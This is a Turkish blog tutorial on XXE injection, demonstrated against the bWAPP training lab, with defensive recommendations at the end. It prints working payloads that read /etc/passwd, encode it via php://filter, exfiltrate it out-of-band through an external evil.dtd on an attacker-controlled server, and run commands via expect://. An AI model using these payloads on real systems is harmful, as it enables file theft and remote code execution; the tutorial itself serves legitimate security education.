XML EXTERNAL ENTITY(XXE) SALDIRISI

XML EXTERNAL ENTITY(XXE) SALDIRISI

Merhaba arkadaşlar, bu yazıda XML External Entity yani XXE saldırılarının nasıl gerçekleştiğini kısaca anlatmaya çalışacağım. XXE saldırısını kavramak için öncelikle XML’in ne olduğunu bilmek gerekir. Nedir bu XML?

XML, Extensible Markup Language, HTML’e benzeyen veri saklama ve iletmek için tasarlanmış, kodlayanın hem etiketleri hem de doküman yapısını tanımlaması gereken, yazılım ve donanımdan bağımsız veri saklama methodu sağlayan bir meta dildir.

<?xml version=”1.0” encoding=”UTF-8”?>
   <customer>
   <username>htonly</username>
<password>veryhardpass</password>
<message>Learning XXE</message>
 </customer>

XXE injection zafiyetini anlamamız için gerekli olan bir diğer kavram ise Document Type Declaration ( DTD) kavramıdır. DTD, XML’in farklı platformlar arasında veri taşınmasını sağlanması amacıyla ortak bir iletişim standardı diyebileceğimiz bir yapıdır. Bu yapıyı XML dosyası içerisinde ve ya harici olarak .dtd uzantılı bir dosya içerisinde bulundurabiliriz.

----------Internal DTD ile XML görüntüsü-----------
<?xml version=”1.0” encoding=”UTF-8?>
<!DOCTYPE customers [
<!ELEMENT customer (username, password, message)
<!ELEMENT username (#PDATA)>
<!ELEMENT password (#PDATA)>
<!ELEMENT message (#PDATA)>
]>
   <customer>
      <username>htonly</username>
      <password>veryhardpass</password>
      <message>Learning XXE</message>
   </customer>

!DOCTYPE customers, bu belgenin kök öğesinin customers olduğunu tanımlar
!ELEMENT customer, customer öğesinin (username, password, message) şeklinde üç öğe barındırması gerektiğini tanımlar
!ELEMENT username, username öğesinin PCDATA ( Parsed Character Data ) türünde olduğunu tanımlar.
!ELEMENT password , password öğesinin PCDATA ( Parsed Character Data ) türünde olduğunu tanımlar.
!ELEMENT message, message öğesinin PCDATA ( Parsed Character Data ) türünde olduğunu tanımlar.

External DTD tanımlaması ise, XML dosyasında external DTD referans edilmesiyle gerçekleşir.

<?xml version=”1.0” encoding=”UTF-8?>
<!DOCTYPE customers SYSTEM “customer.dtd”>
<customer>
      <username>htonly</username>
      <password>veryhardpass</password>
      <message>Learning XXE</message>
   </customer>

Customer.dtd içeriğinin görüntüsü de aşağıdaki gibidir.

<!ELEMENT customer (username, password, message)
<!ELEMENT username (#PDATA)>
<!ELEMENT password (#PDATA)>
<!ELEMENT message (#PDATA)>
XXE Injection

XXE Injection, XML içerisinde bulunan veriler ayrıştırılırken (parsing) XML’in bir özelliği olarak sunulmuş olan entity çağrılmasının amacının dışında tetiklenmesiyle ortaya çıkan zafiyete verilen isimdir.

XXE Injection zafiyetinin sömülürmesi uygulamasını bWAPP platformu üzerindeki örnek ile göstereceğim. İlk olarak hedef locali üzerinde bulunan bir dosyanın okunması işlemini gerçekleştireceğiz. Örnek olarak “ /etc/passwd “dosyasının içeriğini görüntülemek istersek

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE test [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<reset><login>&xxe;</login><secret>Any bugs?</secret></reset>

Payloadını kullanabiliriz. Bu payload ile isteği gerçekleştiriyoruz.

Yukarıdaki görselden de görüldüğü üzere “/etc/passwd” içeriğini response olarak almış olduk. XML erişmeye çalıştığımız dosyaları parse ederken kendi dilinde bulunan “<” ve “&” gibi özel karakterlerle karşılaştığında hata oluşacağından bunun önüne geçmek için bir yöntem olarak php filtresi ile base64 encode yapılabilir. Bunun için örnek olarak

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE test [
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/passwd">
]>
<reset><login>&xxe;</login><secret>Any bugs?</secret></reset>

Payloadını kullanarak isteğimizi gerçekleştiriyoruz.

Response olarak “/etc/passwd” içeriğinin base64 ile decode edilmiş halini almış olduk. Başarılı bir şekilde dosya içeriğini görüntüledik fakat dosya erişim engeli ile karşılamış olsaydık ne yapacaktık? Bunun ile ilgili ise Black Hat EU2013 etkinliğinde Timur Yunusov ve Alexey Osipov tarafından sunulmuş bir bypass tekniği bulunmaktadır. Etkinlikteki söz konusu teknik ile ilgili videoya aşağıdan ulaşabilirsiniz.  Bypass işleminde saldırgan kendi sunucusuna external DTD ile istekte bulunarak, hedeflenen dosya içeriğini tekrar kendi sunucusuna istek olarak gönderten bir zararlı .dtd doyasını çağıran payload kullanılmaktadır. Payload ve .dtd dosya içeriği görüldüğünde daha net anlaşılacaktır.

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE test [
<!ENTITY % remote SYSTEM "http://192.168.1.42:9000/evil.dtd">
%remote;%int;%trick;]>
<reset><login>bee</login><secret>Any bugs?</secret></reset>

Post isteğine eklenecek payload yukarıdaki gibidir. Örnek olarak hazırlanmış evil.dtd dosya içeriği ise aşağıdaki gibidir.

<!ENTITY % payl SYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/passwd">
<!ENTITY % int "<!ENTITY % trick SYSTEM 'http://192.168.1.42:9000/?p=%payl;'>">

Burada iç içe entity kullanımında parsing işleminde oluşacak hatayı önlemek için “%” değeri encode işlemine uğratılarak “%” şeklinde kullanılmıştır. Burada isteği gerçekleştirirken python http server başlatarak belirlenen portta servisi çalıştırdıktan sonra isteği gerçekleştirdiğimizde ikinci bir talep olarak “ GET /?p=cm9vdDp4OjA6….. HTTP/1.0 “ şeklinde ” p ” parametresinde /etc/passwd içeriğinin base64 formatında encode edilmiş halini görmüş olacağız.
Bir diğer senaryo ise PHP “expect” modülünün aktif edilmesi halinde ortaya çıkan XXE zafiyetinden bir RCE çıkması şeklinde. Aynı örnekten devam edecek olursak

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE test [
<!ENTITY xxe SYSTEM "expect://id">
]>
<reset><login>&xxe;</login><secret>Any bugs?</secret></reset>

Payloadını kullanarak RCE zafiyeti sömürülebilir böylelikle komut çalıştırılabilir. Atak senaryoları bu şekildedir.

XXE Saldırılarına karşı korunma

• XML işlemcisi ve kütüphaneleri sürekli güncel tutulmalıdır.
• SOAP 1.2’nin altında bir sürümün çalıştırılmaması önerilmektedir.
• XML External Entity özelliğinin kapatılması önerilmektedir.
• Whitelist mantığıyla filtreleme yapılması önerilmektedir.
• Dış varlıkların çözümlenmesini ve XInclude desteğinin devredışı bırakılması önerilmektedir.

Kaynak:

https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing
https://gaissecurity.com/yazi/xml-external-entity-injection-and-oob-out-of-band-data-retrieval


Related Posts

Facebook Comments